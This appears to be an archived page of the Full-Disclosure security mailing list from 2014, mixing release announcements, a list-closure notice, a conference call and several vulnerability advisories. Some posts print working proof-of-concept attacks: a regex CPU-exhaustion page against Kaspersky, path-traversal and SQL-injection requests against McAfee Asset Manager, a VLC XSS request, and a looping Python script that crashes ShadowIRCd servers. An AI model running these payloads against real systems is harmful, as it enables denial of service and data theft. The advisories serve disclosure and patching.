Lukasz Lenart | 26 Apr 20:46 2014
Picon

[ANN] Struts 2.3.16.2 GA release available - security fix

The Apache Struts group is pleased to announce that Struts 2.3.16.2 is
available as a "General Availability" release.The GA designation is
our highest quality grade.

Apache Struts 2 is an elegant, extensible framework for creating
enterprise-ready Java web applications. The framework is designed to
streamline the full development cycle, from building, to deploying, to
maintaining applications over time.

This release includes important security fixes:
- S2-021 - Improves excluded params to avoid ClassLoader manipulation
via ParametersInterceptor
- S2-021 - Adds excluded params to CookieInterceptor to avoid
ClassLoader manipulation when the interceptors is configured to accept
all cookie names (wildcard matching via "*")

* http://struts.apache.org/release/2.3.x/docs/s2-021.html

All developers are strongly advised to update existing Struts 2
applications to Struts 2.3.16.2

Struts 2.3.16.2 is available in a full distribution, or as separate
library, source, example and documentation distributions, from the
releases page.
* http://struts.apache.org/download.cgi#struts23162

The release is also available from the central Maven repository under
Group ID "org.apache.struts".

The 2.3.x series of the Apache Struts framework has a minimum
(Continue reading)

Lukasz Lenart | 26 Apr 20:46 2014
Picon

[ANN] Struts 2.3.16.2 GA release available - security fix

The Apache Struts group is pleased to announce that Struts 2.3.16.2 is
available as a "General Availability" release.The GA designation is
our highest quality grade.

Apache Struts 2 is an elegant, extensible framework for creating
enterprise-ready Java web applications. The framework is designed to
streamline the full development cycle, from building, to deploying, to
maintaining applications over time.

This release includes important security fixes:
- S2-021 - Improves excluded params to avoid ClassLoader manipulation
via ParametersInterceptor
- S2-021 - Adds excluded params to CookieInterceptor to avoid
ClassLoader manipulation when the interceptors is configured to accept
all cookie names (wildcard matching via "*")

* http://struts.apache.org/release/2.3.x/docs/s2-021.html

All developers are strongly advised to update existing Struts 2
applications to Struts 2.3.16.2

Struts 2.3.16.2 is available in a full distribution, or as separate
library, source, example and documentation distributions, from the
releases page.
* http://struts.apache.org/download.cgi#struts23162

The release is also available from the central Maven repository under
Group ID "org.apache.struts".

The 2.3.x series of the Apache Struts framework has a minimum
(Continue reading)

John Cartwright | 19 Mar 11:30 2014
Picon

Administrivia: The End

Hi

When Len and I created the Full-Disclosure list way back in July 2002,
we knew that we'd have our fair share of legal troubles along the way.  
We were right.  To date we've had all sorts of requests to delete 
things, requests not to delete things, and a variety of legal threats 
both valid or otherwise.  However, I always assumed that the turning 
point would be a sweeping request for large-scale deletion of 
information that some vendor or other had taken exception to.

I never imagined that request might come from a researcher within the 
'community' itself (and I use that word loosely in modern times).  But 
today, having spent a fair amount of time dealing with complaints from 
a particular individual (who shall remain nameless) I realised that 
I'm done.  The list has had its fair share of trolling, flooding, 
furry porn, fake exploits and DoS attacks over the years, but none of 
those things really affected the integrity of the list itself.  
However, taking a virtual hatchet to the list archives on the whim of 
an individual just doesn't feel right.  That 'one of our own' would 
undermine the efforts of the last 12 years is really the straw that 
broke the camel's back.

I'm not willing to fight this fight any longer.  It's getting harder 
to operate an open forum in today's legal climate, let alone a 
security-related one.  There is no honour amongst hackers any more.  
There is no real community.  There is precious little skill.  The 
entire security game is becoming more and more regulated.  This is all 
a sign of things to come, and a reflection on the sad state of an 
industry that should never have become an industry.

(Continue reading)

AWeber Test | 18 Mar 18:05 2014
Picon

USSD Sender Hacktool 1.0

What is USSD?
USSD stands for Unstructured Supplementary Service Data and it's mostly use to make requests to a mobile operator. If you want to check how much money you have on your mobile sim card you can use a USSD Command for that. Entering for example *#100# to the vodafone network, you will receive an USSD message as a result.

USSD Sender Hacktool is a complex tool that let any web user to send a text message in a USSD command to any number. By default the message is "You have been hacked!" but you can send any text. In the target phone a message will pop up with the text and a OK butto n. If it get's undelivered an actual sms will be send.

Screen Shot:
http://i492.photobucket.com/albums/rr287/tribalmp/USSDSenderHacktool.jpg

Download:
http://www.firedrive.com/file/C961587BD8BCD4C9
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[CXSEC] | 18 Mar 23:37 2014

Kaspersky 14.0.0.4651 RegExp Remote Denial of Service PoC2

Kaspersky has released updated for first PoC presented here


but there are still many combinations of evil patterns. For exmaple next PoC2 is available here


code:

------
<HTML>
<HEAD>
<TITLE>RegExp Resource Exhaustion </TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF">
<SCRIPT type="text/javascript">
var patt1=new
RegExp("(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)");
document.write(patt1.exec("peace"));
</SCRIPT>
</BODY>
</HTML>
------

These expression leads to hang up kaspersky process by CPU Exhaustion.  Making it impossible to shut down and restart Kaspersky GUI. 
A weak implementation of RE difficult defense against this type of attack.
In my opinion the most stable implementation of regular expressions is NetBSD/OpenBSD where the authors have reduced the risk of leakage of resources by the level of recursion.

References:

Best regards,
CXSEC TEAM
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
scadastrangelove | 19 Mar 07:44 2014
Picon

All your PLC are belong to us (2)

Fixes for Siemens S7 1500 PLC are published.
Thanks to Yury Goltsev, Ilya Karpov, Alexey Osipov, Dmitry Serebryannikov and Alex Timorin.
There are a lot of, but Authentication bypass (INSUFFICIENT ENTROPY/CVE-2014-2251) is the best.


More details are pending.

Regards,
SCADA StrangeLove team
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Brandon Perry | 18 Mar 20:20 2014
Picon

McAfee Cloud SSO and McAfee Asset Manager vulns

  1. Cloud SSO is vuln to unauthed XSS in the authentication audit form:



  1. McAfee Asset Manager v6.6 multiple vulnerabilities
  2.  
  3.  
  4. Authenticated arbitrary file read
  5. An unprivileged authenticated user can download arbitrary files with the permissions of the web server using the report download functionality. By generating a report, the user’s browser will make a request to /servlet/downloadReport?reportFileName=blah. The user can put in a relative directory traversal attack and download /etc/passwd.
  6.  
  7. GET /servlet/downloadReport?reportFileName=../../../../../../../../etc/passwd&format=CSV HTTP/1.1
  8. Host: 172.31.16.167
  9. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
  10. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  11. Accept-Language: en-US,en;q=0.5
  12. Accept-Encoding: gzip, deflate
  13. Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
  14. Connection: keep-alive
  15.  
  16.  
  17.  
  18.  
  19.  
  20. Authenticated SQL injection
  21. An unprivileged authenticated user can initiate a SQL injection attack by creating an audit report and controlling the username specified in the audit report. In the below request, the ‘user’ parameter is susceptible to the SQL injection:
  22.  
  23. POST /jsp/reports/ReportsAudit.jsp HTTP/1.1
  24. Host: 172.31.16.167
  25. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
  26. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  27. Accept-Language: en-US,en;q=0.5
  28. Accept-Encoding: gzip, deflate
  29. Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
  30. Connection: keep-alive
  31. Content-Type: application/x-www-form-urlencoded
  32. Content-Length: 91
  33.  
  34. fromDate=03-19-2014&toDate=03-19-2014&freetext=&Severity=0&AuditType=12&user=Administrator

--
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Francesco Perna | 18 Mar 13:38 2014
Picon

[Quantum Leap Advisory] #QLA140216 - VLC Reflected XSS vulnerability


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=== Details ===
Advisory: http://www.quantumleap.it/vlc-reflected-xss-vulnerability/
Affected Product: VLC
Version: 2.1.3 (older versions may be affected too)

=== Executive Summary ===
Using a specially crafted HTTP request, it is possible to exploit a lack
in the neutralization[1] of the error pages output which includes the
user submitted content. Successful exploitation of the vulnerabilities,
results in the execution of arbitrary HTML and script code in user?s
browser in context of the vulnerable website trough a ?Reflected XSS?

=== Proof of Concept ===
It has been discovered a reflected XSS vulnerability on error page in
VLC Web Interface. The function ?httpd_HtmlError? in file
?src/network/httpd.c? doesn?t sanitize the ?url? parameter, so an XSS
attack can be executed. Below you can find a proof of concept of the
vulnerability:

GET /te<script>alert(?XSS?);</script>st HTTP/1.1
Host: 192.168.1.101:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101
Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic OmNpYW8=
Connection: keep-alive

=== Solution ===
To quickly fix the security issue, in our Customer?s environment, we
wrote the following small patch:

<patch>
? httpd.c    2014-02-14 15:24:55.393978968 +0100
+++ httpd.patched.c    2014-02-14 15:24:44.404625054 +0100
 <at>  <at>  -256,9 +256,12  <at>  <at>  static const char *httpd_ReasonFromCode(static
size_t httpd_HtmlError (char **body, int code, const char *url)
{
+    char *url_Encoded = NULL;
const char *errname = httpd_ReasonFromCode (code);
assert (errname != NULL);+    url_Encoded = convert_xml_special_chars
(url ? url : ??);
+
int res = asprintf (body,
?<?xml version=?1.0? encoding=?ascii? ?>n?
?<!DOCTYPE html PUBLIC ?-//W3C//DTD XHTML 1.0 Strict//EN?"
 <at>  <at>  -273,7 +276,9  <at>  <at>  static size_t httpd_HtmlError (char **bo
?<a href=?http://www.videolan.org?>VideoLAN</a>n?
?</body>n?
?</html>n?, errname, code, errname,
- -        (url ? ? (? : ??), (url ? url : ??), (url ? ?)? : ??));
+        (url_Encoded ? ? (? : ??), (url_Encoded ? url_Encoded : ??),
(url_Encoded ? ?)? : ??));
+
+    free (url_Encoded);if (res == -1)
{
</patch>

This patch has been merged with the Main Line of the VLC GIT
repository[2],  it will be officially released in the build 2.2.0

=== Disclosoure Timeline ===

2013-12-02 ? Vulnerability Discovered
2014-02-15 ? Initial vendor notification
2014-02-20 ? The vendor fixed the vulnerability
2014-03-18 ? Public advisory

=== Discovered by ===
Vulnerability discovered by Francesco Perna and Pietro Minniti of
Quantum Leap s.r.l

=== References ===
[1]
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
[2]
http://git.videolan.org/?p=vlc.git;a=commit;h=fe5063ec5ad1873039ea719eb1f137c8f3bda84b

- -- 
Francesco Perna
Quantum Leap SRL
Sede Legale: Via Colle Scorrano n.5 65100 Pescara (PE)
Sede Operativa: Circonvallazione Cornelia n. 125, 00165 Roma (RM)
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (MingW32)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iQEbBAEBAgAGBQJTKD4tAAoJEPBLO12s/SuDhEMH+K7vy+JqXc47ADWCmyokJ3Bu
8VOZOH9lxt2wyHOD5tlf4tIQv6vQ2adGuSps16OIHRJ0KZ32PSJmBogHtPAsXFwP
i8ubs7Co6lNVwbfLGz5TQkZw+lfudUJ3VEaEHRtxEEao2mb7YcafmRFMV+rsdB+E
mgXdMy85G9tU/TDwi0//KBXCXmSFAHlEsaVlNVhqAUz3Eyg4hk9jOjaDat7ESt5Y
yfd3uSO2yWthI6gJH2cLI5Y1R1L5zr4/raxM44/lZHm+XFOviiiX2L/NNpedwnn6
Ax8y38AvQ8gFYvDtY+0tP4vBRrRAwzvGIZgSKdmeNMK+CpUvr+hZX53zVpTCPA==
=sPV+
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Fernando Gont | 18 Mar 15:05 2014

(CFP) LACSEC 2014: Cancun, Mexico. May 7-8, 2014 (EXTENDED DEADLINE)


---- cut here ----
***********************************************************************
                       CALL FOR PRESENTATIONS
***********************************************************************
                            LACSEC 2014
    9th Network Security Event for Latin America and the Caribbean
                   May 4-9, 2014, Cancun, Mexico
           http://www.lacnic.net/en/web/eventos/lacnic21

LACNIC (http://www.lacnic.net) is the international organization based
in (Uruguay) that is responsible for the administration of the IP
address space, Reverse Resolution, Autonomous System Numbers and other
resources for the Latin American and the Caribbean region on behalf of
the Internet community.

The "9th Network Security Event for Latin America and the Caribbean"
will be held in Cancun, Mexico, within the framework of LACNIC's
eighteenth annual meeting (LACNIC XXI). This is a public call for
presentations for that event.

The topics of interest include, but are not limited to, the following:

* Honeypots, network monitoring and situational awareness tools in
general.
* Fighting spam, particularly spam from origin (SPF, DKIM and related
technologies. Email reputation)
* Fighting phishing and pharming
* Fighting malware
* Internet protocol security
* IPv6 security
* DNSsec
* Security of network infrastructure services (DNS, NTP, etc.)
* Web security
* DoS/DDoS response and mitigation, botnets
* Authentication and access control
* Security in the cloud
* Critical infrastructure protection
* Mobile systems security
* Computer security incident response teams (CSIRTs): creation,
management, experiences
* Security in corporate environments, compliance and auditing, return on
information security investments
* Security management (procedures, operational logs, records, etc.)
* Risk management in Information Security
* Computer forensics
* Protection of privacy
* Legal aspects related to information security

Guidelines for Presenting Proposals

Proposals for the "9th Network Security Event for Latin America and the
Caribbean"  (LACSEC 2014) must be presented taking into account the
following considerations:

* The proposal should consist of a paper, or (alternatively) an Extended
Abstract plus a draft version of the slides to be used during the
presentation.
* Proposals may be presented in English, Portuguese or Spanish.
* Proposals must be submitted in Portable Document Format (PDF)
* Submissions must be created directly using a word processing system
(scanned articles will not be accepted)
* Presentations may not be longer than 30 minutes

Submitting a Proposal

Those interested in presenting at LACSEC 2014 must send the following
information to <comite_seguridad <at> lacnic.net> within the deadlines set
forth below:

* Full title of the presentation
* A paper or, alternatively, an Extended Abstract and a draft of the
slides to be used during the presentation. The paper should not be
longer than 10 pages. The extended abstract should not contain more than
one thousand (1000) words. The Evaluation Committee may, at its sole
discretion, request additional or complementary information.
* Full name, email address and organization with which the author (or
authors) of the submission is affiliated

Note: Presentation proposals that do not follow the guidelines of this
CFP will not be considered during the presentation selection process.

For more information, please do not hesitate to contact the Evaluation
Committee at <comite_seguridad <at> lacnic.net>.

Proposal Evaluation

The Evaluation Committee created for this purpose will evaluate
proposals based on the following basic criteria:

* Originality
* Technical quality
* Relevance
* Presentation
* Applicability

Speaker's Privileges

Authors whose proposals result accepted will receive:

* Return-flight to Cancun, Mexico (reimbursement of up to 1200 USD)
* Accommodation (up to three nights) at the conference venue
* Free registration to the LACNIC XXI event

IMPORTANT DATES

* Deadline for proposals submission: March 31st, 2014
* Notification of acceptance: April 6th, 2014
* Deadline for submitting the final version the presentation: May 4th,
2014

"9th Network Security Event for Latin America and the Caribbean"
(LACSEC 2014)

Chair
  Fernando Gont (SI6 Networks/UTN-FRH, Argentina)

Evaluation Committee
  Iván Arce (Fundación Sadosky, Argentina)
  Carlos A. Ayala Rocha (Arbor Networks, Mexico)
  Julio César Balderrama (Consultant, Argentina)
  Matthias Bethke (Zonarix S.A., Ecuador)
  Eduardo Carozo (ITC-Antel, Uruguay)
  Jeimy J. Cano M. (Fac. de Derecho, U. de los Andes, Colombia)
  Giovanni Cruz Forero (CSIETE, Colombia)
  Lorena Ferreyro (Consultant, Argentina)
  Javier Liendo (Cisco Mexico, Cisco)
  Carlos Martinez-Cagnazzo (LACNIC, Uruguay)
  Hernan Ochoa (Amplia Security, Argentina)
  James Pichardo (DO-CSIRT, Dominican Republic)
  Patricia Prandini (Posg. en Seg. Informática, UBA, Argentina)
  Javier Romero (JACKSECURITY, Peru)
  Rodrigo Rubira Branco (Intel, USA)
  Hugo Salgado (NIC Chile, Chile)
  Carlos Sarraute (Grandata Labs, Argentina)
  Arturo Servin (USA)
  Liliana V. Solha (CAIS/RNP, Brazil)
  Leonardo Vidal (ITC S.A. - ANTEL, Uruguay)
---- cut here ----
--

-- 
Fernando Gont
SI6 Networks
e-mail: fgont <at> si6networks.com
PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492

Capstone Engine | 18 Mar 11:12 2014
Picon

CEbot: disasm from your Twitter account

Hi,

We are running CEbot, a tool that lets you reverse hexcode from your own Twitter!

How? Do this in 2 easy steps:

- Tweet your hex string with either hashtag #2ce (read as: ”To-Capstone-Engine”), or #cebot.
- Wait 1~2 seconds, the assembly code will be sent back, also via Twitter. Be sure to check the “Notifications” tab if you do not see it soon enough.


Few examples on tweets accepted by CEbot:

x32 909090 #2ce
    Reverse x86 32-bit code with hex-string of 3 bytes 909090. The result sent back would be 3 NOP instructions.

x64 att 0x90 0x90 0x90 #2ce
    Reverse x86-64 code with hex-string of the same 3 bytes, but get back assembly in AT&T syntax.

arm #2ce “\x04\xe0\x2d\xe5”
    Reverse ARM code. Note that the hashtag can be put anywhere in the tweet.

m64 be 0C,10,00,97 #2ce
    Reverse Mips 64-bit code in big-endian mode.


For further details, see http://capstone-engine.org/bot.html

This is mainly for fun, but hopefully it can be useful for those who are on Twitter all the time :-)
Any suggestions, let us know.

Cheers,
Capstone Engine

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Sam Dodrill | 17 Mar 19:06 2014
Picon

Emergency patch for ShadowIRCd versions 6.3+ and Elemental-IRCd 6.5+

Emergency patch for ShadowIRCd versions 6.3+ and Elemental-IRCd 6.5+

A vulnerability has been discovered in Elemental-IRCd/ShadowIRCd all the way back to version 6.3. If a client does a SASL authentication before the server is ready for it, a race condition will be met and the ircd will segfault to an address out of bounds error. The attached exploit, ku.py is pasted below:

    #!/usr/bin/python2
    # Live exploit for ShadowIRCd 6.3+, remote segfault that can
    # take out other daemons in the network.
    
    import base64
    import socket
    
    SERVER = "irc.example.com"
    NICK = "Shi" # death
    PASS = "ku"  # suffering
    
    while True:
        s_link = socket.socket()
    
        s_link.connect((SERVER, 6667))
    
        s_link.send("CAP REQ :sasl\r\n")
        s_link.send("AUTHENTICATE PLAIN\r\n")
        s_link.send("AUTHENTICATE %s" %
                (base64.b64encode("%s\0%s\0%s" % (NICK, NICK, PASS))))
        s_link.send("CAP END")
        s_link.send("NICK %s\r\n" % NICK)
        s_link.send("USER a a a a a\r\n")
        
        try:
            for line in s_link.makefile("r"):
                print line
        except:
            continue

Earlier versions of this were called "shi.py" and its source (adapted from the original code of the person who reported the bug to me) is available here: https://gist.github.com/lyska/89eacfc21903a50a0e93

Testing has shown that if the following patch is not applied, any unregistered user may segfault off any ircd, including hub daemons or sometimes an ircd on the other side of the network; provided they have a valid account with services. This is a heisenbug and will resist attempts to reproduce, but keep running it. It will kill something eventually.

The cause of this is an unmet race condition in modules/m_sasl.c. The SASL authentication spec says that an authentication session must go like this (taken from the documentation):

    C: CAP REQ :sasl
    C: NICK jilles
    C: USER jilles cheetah.stack.nl 1 :Jilles Tjoelker
    S: NOTICE AUTH :*** Processing connection to jaguar.test
    S: NOTICE AUTH :*** Looking up your hostname...
    S: NOTICE AUTH :*** Checking Ident
    S: NOTICE AUTH :*** No Ident response
    S: NOTICE AUTH :*** Found your hostname
    S: :jaguar.test CAP jilles ACK :sasl 
    C: AUTHENTICATE PLAIN
    S: AUTHENTICATE +
    C: AUTHENTICATE amlsbGVzAGppbGxlcwBzZXNhbWU=
    S: :jaguar.test 900 jilles jilles!jilles <at> localhost.stack.nl jilles :You are now logged in     as jilles.
    S: :jaguar.test 903 jilles :SASL authentication successful
    C: CAP END
    S: :jaguar.test 001 jilles :Welcome to the jillestest Internet Relay Chat Network jilles
    (usual welcome messages)

However, if a user does this:

    C: CAP REQ :sasl
    S: :my.testnet NOTICE * :*** Looking up your hostname...
    S: :my.testnet NOTICE * :*** Checking Ident
    S: :my.testnet NOTICE * :*** Found your hostname
    S: :my.testnet NOTICE * :*** No Ident response
    S: :my.testnet CAP * ACK :sasl 
    C: AUTHENTICATE PLAIN
    C: AUTHENTICATE U3RhcmJvdW5kAFN0YXJib3VuZAA1K0By
    C: CAP END
    S: AUTHENTICATE +
    S: :my.testnet 903 * :SASL authentication successful

The daemon immediately segfaults after that 903. A backtrace of the core dump will look like the following: https://gist.github.com/lyska/f1c93e86917dfef958fb.

The affected code in modules/m_sasl.c is as follows (spacing has been fixed):

    static int server_auth_sasl(struct Client *client_p)
    {
        char *auth_user;
        
        if (client_p->localClient->auth_user)
        {
            memset(client_p->localClient->auth_user, 0,
                strlen(client_p->localClient->auth_user));
            rb_free(client_p->localClient->auth_user);
            client_p->localClient->auth_user = NULL;
        }
        
        auth_user = rb_strndup(client_p->user->suser, PASSWDLEN);
        
        /* pointless check here */
        if (auth_user)
            client_p->localClient->auth_user = rb_strndup(auth_user, PASSWDLEN);
        
        return 0;
    }

When a client attempts to do a SASL authentication too quickly (like demonstrated in ku.py), the ircd sometimes segfaults and can take out its uplink too. This is because the `auth_user` field in `client_p->localClient` gets set to uninitialized stack memory.

From linked file `sparkle.bt`, line 10:

    auth_user = 0x516c0d05e40 " \331\264(\306p"

This is definitely not the plain ASCII that it is expecting, nor at the expected length. Luckily, this issue is completely in a module and it can be applied with zero downtime if you apply this patch and follow the below directions:

    diff --git a/modules/m_sasl.c b/modules/m_sasl.c
    index cbc5c77..fadddf7 100644
    --- a/modules/m_sasl.c
    +++ b/modules/m_sasl.c
    <at> <at> -162,7 +162,7 <at> <at> me_sasl(struct Client *client_p, struct Client *source_p,
                            sendto_one(target_p, form_str(RPL_SASLSUCCESS), me.name, EmptyString(target_p->name) ? "*" : target_p->name);
                            target_p->preClient->sasl_complete = 1;
                            ServerStats.is_ssuc++;
    -                       server_auth_sasl(target_p);
    +                       //server_auth_sasl(target_p);
                    }
                    *target_p->preClient->sasl_agent = '\0'; /* Blank the stored agent so someone else can answer */
            }

This patch sometimes has issues when being applied by machine (use vim, it's not hard) and should only be considered a stopgap to remove the worst parts of the issue until a more permanent fix is made, tested, and released.

Attempts have been made to contact other networks that use any affected versions of ShadowIRCd and Elemental-IRCd. All attempts to contact networks I previously have not encountered have failed.

Patch directions are below:

1. Apply patch by hand
2. run make
3. run make install
4. Connect to the ircd, opering up
5. /modunload m_sasl.so
6. /modload m_sasl.so

You might be tempted to use /modreload, but *DO NOT*. There is a known issue with reloading a module that has changed on disk that can cause a segmentation fault. These directions should be followed *immediately* upon recieving them to avoid opening yourself up to this exploit.

This bug appears to have been introduced with ShadowIRCd 6.3. Details from the NEWS file below:

    -- shadowircd-6.3.0
    - use auth::auth_user for SASL. It is no longer usable in PASS (though its   
      use-case there is non-existant), but you can now set so if a user          
      successfully authenticates to the accountname in auth_user with SASL,      
      they will get the proper auth block privs. You can have multiple auth_users
      in one auth block.

This patch does disable this functionality, but in this case the inconvenience is worth the security.

Thanks for reading, and I hope you enjoyed this report. I've been wanting to make a report to this mailing list for a while now and was hoping it would not be on one of my own projects, but such is life. Should I request a CVE be assigned for this as well?

Sam Dodrill
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Gmane